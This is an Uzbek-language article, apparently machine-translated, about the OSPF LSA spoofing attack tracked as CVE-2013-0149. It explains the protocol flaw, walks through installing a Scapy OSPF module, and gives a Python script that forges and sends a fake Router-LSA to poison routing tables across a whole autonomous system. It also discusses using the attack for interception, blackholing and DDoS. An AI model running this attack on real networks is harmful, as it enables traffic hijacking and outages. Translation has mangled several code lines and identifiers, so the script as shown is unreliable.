OSPFv2 va OSPFv3 OSPFv2 va OSPFv3 o'rtasidagi asosiy farqlar (yangi IPv6 qo'llab-quvvatlashiga qo'shimcha ravishda):
OSPFv3 interfeyslarda yoqilgan. Interfeysda OSPFni yoqish avtomatik ravishda OSPF jarayonini va konfiguratsiya faylida mos keladigan buyruqni yaratadi;
interfeysda sozlangan barcha tarmoqlar e'lon qilinadi;
LSA ning yangi turlari. Ikkita yangi LSA turi qo'shildi - Link LSA va Intra-Area Prefiks LSA;
OSPFv3-ning o'zida autentifikatsiya yo'q. IPv6 autentifikatsiyasidan foydalaniladi.
Biz asl nusxaga o'tamiz
Ammo yaqinda hamma narsa o'zgardi. Agar oldingi barcha hujumlar topologiyaning faqat kichik bir qismiga ta'sir qilgan yoki OSPF himoya mexanizmlarining ishlashiga sabab bo'lgan yoki juda shovqinli bo'lsa, u holda taqdim etilgan yangi hujum yashirin, samarali va avtonomiya bo'ylab doimiy o'zgarishlarni keltirib chiqaradi. Barcha sotuvchilar bunga qarshi potentsial zaif, ammo hozircha faqat Cisco va Juniper tasdiqlangan.
Keling, biz hujum qiladigan tarmoq diagrammasini ko'rib chiqaylik (3-rasm). Oddiylik uchun bizda marshrutizatorlar halqasi va R1 boshqaruv routeri bor deb faraz qilaylik. Va qurbon sifatida, keling, R10 routerini tanlaylik. Albatta, bizning misolimizda tarmoq topologiyasi ancha soddalashtirilgan, real sharoitlarda odatda ko'proq ortiqcha havolalar va marshrutizatorlardan foydalaniladi, ammo bu hujumni namoyish qilish uchun bizga yetarli.
MA'LUMOT
Hujum kontseptsiyasi Black Hat USA 2013 da namoyish etildi. Mualliflar: Gabi Nakibly, Eitan Menahem, Ariel Waizel va Yuval Elovichi. Ular OSPF protokolini o'rganishni 2011 yilda boshladilar, bu yo'lda bir nechta yangi hujumlarni amalga oshirishdi, ammo ularni amalga oshirish qiyinroq edi va bu hujum kabi kuchga ega emas edi.
Maqsad
Va endi LSA sarlavhasiga, aniqrog'i, uning ikkita maydoniga qayting: Link State ID va Advertising Router . RFCga ko'ra, faqat marshrutizatorning o'zi o'zining LSA'larini yaratishi mumkin, shuning uchun bu ikki maydon bir xil qiymatga ega bo'lishi kerak. Ammo OSPF ularni tenglik uchun tekshirmaydi. Bundan tashqari, biz allaqachon bilganimizdek, qarshi kurash mexanizmi faqat bu maydonlar bir xil bo'lsa ishlaydi.
Natijada, ma'lum bo'lishicha, hujumni muvaffaqiyatli amalga oshirish uchun siz LSA (birinchi turdagi, yo'riqnoma-LSA) ni havola holati identifikatori = qurbon yo'riqnoma identifikatori va reklama routeri = istalgan qiymat bilan yuborishingiz kerak. jabrlanuvchi router identifikatoridan farq qiladi. Agar ushbu soxta LSA joriy amaldagi LSA tartib raqamidan kattaroq tartib raqamiga ega bo'lsa, u holda soxta LSA nafaqat barcha marshrutizatorlarda JBda paydo bo'ladi, balki to'g'ri LSA o'rnini ham egallaydi.
Natijada, barcha marshrutizatorlardagi barcha marshrutlash jadvallari zaharlanadi. Bundan tashqari, bu doimiy hodisa, hamma narsani avvalgidek qaytarish uchun siz hujumni orqaga qaytarishingiz yoki qo'lda barcha routerlarga o'tishingiz va ospf jarayonini qayta ishga tushirishingiz kerak bo'ladi. Aslida, hatto hujumni amalga oshirish ham talab qilinmaydi. to'liq nazorat tarmoqdagi har qanday yo'riqnoma orqali - tarmoqdagi har qanday router uni qabul qilishi uchun tarmoqqa bitta LSA paketini kiritish kifoya.
Keling, qurol tayyorlaylik
Xo'sh, yuqorida aytilganlarning barchasini amalda qo'llash vaqti keldi. Avvalo, hujumni amalga oshirish uchun bizga Scapy kabi paketlarni ishlab chiqaruvchi yordamchi dastur kerak. Bu Python tarjimonidan foydalanib, paketlarni bosqichma-bosqich qo'lda yaratish imkonini beruvchi juda kuchli vositadir. Dastlabki o'rnatishdan so'ng, Scapy OSPF bilan qanday ishlashni bilmaydi. Agar siz load_contrib("ospf") ni ishga tushirsangiz, siz xato xabarini olasiz: XATO: contrib.ospf nomli modul yo'q. Shuning uchun siz qo'shimcha ravishda ospf modulini o'rnatishingiz kerak. Uni yuklab oling va yo'l davomida hissa katalogini yarating:
Mkdir /usr/lib/python2.7/dist-packages/scapy/contrib
Keyi
n modulni yangi yaratilgan katalogga o'tkazamiz:
Cp ospf.py /usr/lib/python2.7/dist-packages/scapy/contrib/
Endi siz scapy-ga o'tsangiz va ulangan modullar ro'yxatini ko'rsangiz, u muvaffaqiyatli o'rnatilganligini ko'rishingiz mumkin:
# scapy >>> list_contrib() ospf: OSPF holati=yuklaydi >>>
Bu hammasi bo'lib tuyulardi, lekin u erda emas edi. Ospf modulini yuklamoqchi bo'lganimizda, biz quyidagi xatoni olamiz:
>>> load_contrib("ospf") XATO: contrib.ospf nomli modul yo'q
Undan xalos bo'lish uchun siz ishga tushirish skriptini yaratishingiz kerak:
/usr/lib/python2.7/dist-packages/scapy/contrib/__init__.py-ga teging.
Shundan so'ng, Scapy OSPF bilan ishlashga to'liq tayyor.
Bitta zarba, KO'P zarba
Endi skript yaratishga o'tish vaqti keldi, u faqat bitta paketni yuborish orqali butun ASni boshqarishga imkon beradi. Birinchidan, barcha kerakli modullarni yoqing va IPv6 protokolini o'chiring:
#!/usr/bin/env python import scapy.config scapy.config.conf.ipv6_enabled = scapy.all importidan noto'g'ri * load_contrib("ospf")
Keyin biz o'zgaruvchilarning qiymatlarini, tajovuzkor, jabrlanuvchi va eng muhimi, reklama routeri tomonidan boshqariladigan routerning IP-manzilini (noto'g'ri) o'rnatamiz. adv router), bu yo'riqnoma identifikatoriga mos kelmasligi kerak (jabrlanuvchi router identifikatori):
Attacker_source_ip = "192.168.10.111" attacker_router_id = "192.168.10.101" qurbon_destination_ip = "192.168.10.60" qurbon_router_id = "192.168.10.6"_router168.10.6 _router168.10.101 false_07002 = "192.168.10.101"
Endi biz LSA paketini o'zi yig'amiz, o'zgaruvchilar avtomatik ravishda almashtiriladi:
FALSE_LSA = IP(src=attacker_source_ip, dst=victim_destination_ip)/ OSPF_Hdr(src=attacker_router_id)/ OSPF_LSUpd(lsalist=[ OSPF_Router_LSA(variantlar=0x22, type=1, id=jabrlanuvchi_asosiysi, havola=faluter_router_q), OSPF_Link(id="192.168.10.7", ma'lumotlar="192.168.10.60", turi=2, ko'rsatkich=1), OSPF_Link(id="192.168.10.60", ma'lumotlar="192.168.10.60", turi=2, ko'rsatkich =1), OSPF_Link(id="192.168.50.0", ma'lumotlar="255.255.255.0", turi=3, metrik=3)])])
Va skript to'plangan paketni belgilangan interfeys orqali tarmoqqa tashlaydigan yuborish funktsiyasi bilan tugaydi:
Yuborish(FALSE_LSA, iface="eth0")
Ko'rib turganingizdek, hamma narsa juda oddiy. Uni amalga oshirish kifoya (# python hitOSPF.py) va bir necha soniyadan so'ng o'zgarishlar to'lqini butun marshrutlash domenida ishlaydi.
Butun avtonomiya ustidan nazoratni nima beradi?
Butun avtonom tizimni boshqarish orqali siz trafik oqimlarini o'zingizga yoqqan usulda boshqarishingiz mumkin, masalan, ularni qora tuynuklarga (qora tuynuklar) yo'naltirish yoki tajovuzkor tomonidan boshqariladigan router orqali trafikning bir qismini qayta yo'naltirish. Bularning barchasi keyinchalik DDoS hujumlarining barcha stsenariylarini hisobga olmaganda, ilgari mavjud bo'lmagan qiziqish trafigini qo'lga kiritish va o'rganish uchun ishlatilishi mumkin.
Eng biri qiziqarli variantlar Trafik boshqa marshrutga yo‘naltirilayotganga o‘xshaydi. Jabrlanuvchi marshrutizatorni umumiy marshrutlash jarayonidan chiqarib tashlash orqali siz qolgan marshrutizatorlarni marshrutlash jadvallarini qayta hisoblashga majbur qilishingiz mumkin va shu tariqa tajovuzkor ancha katta miqdordagi trafikni kuzatishi mumkin bo'ladi va ba'zi hollarda noyob va erishib bo'lmaydigan narsalarni oladi. har qanday usulda tirbandlik.
MA'LUMOT
Ushbu zaiflik CVE-2013-0149 raqamini oldi. Cisco rasmiy hisobotida aytilishicha, PSIRT (Cisco Product Security Incident Response Team) ushbu zaiflikning jamoatchilikka oshkor etilishi yoki undan foydalanishdan xavotirda emas. Ko'rinib turibdiki, ular xato qilishgan.
Biz hamma narsani joyiga qaytaramiz
Hujumni orqaga qaytarish uchun yana bir soxta LSA paketini yuborish kifoya, ammo bu safar reklama marshrutizatori qiymati qurbonning router identifikatoriga teng. Bundan tashqari, ushbu LSA hujum paytidagidan ko'ra kattaroq tartib raqamiga ega bo'lishi kerak. Bunday holda, qarshi kurash mexanizmi ishga tushadi va hamma narsa tiklanadi va ASdagi barcha routerlar uchun.
Chig'anoqlarni yig'ish
Hisoblash vaqti keldi. Ko'rib turganingizdek, bitta marshrutizatorga kirish orqali siz butun marshrutlash domenini boshqarishingiz mumkin. Bu hech qanday talab qilmaydi maxsus shartlar, bir nechta qurilmalarni buzish yoki bir nechta tajovuzkorlarni boshqarish. Ma'lum bo'lishicha, deyarli barcha sotuvchilar bu hujumga zaif, ehtimol, hech kim bunday stsenariyni kutmagan edi. Hech bo'lmaganda, Cisco va Juniper xavfsizlik bo'yicha maslahatlarni e'lon qildi va zaiflikni tuzatdi. Ammo minglab va yuz minglab qurilmalar zaif bo'lib qolishi aniq. Va hatto ko'pgina kompaniyalarda aniq yangilash siyosati va yamoqlarni o'z vaqtida o'rnatish yo'qligi sababli emas (garchi bu ham), lekin ko'plab eski uskunalar hali ham xizmat ko'rsatayotganligi sababli, masalan, xotira etarli emasligi sababli ularni yangilab bo'lmaydi. kartalar.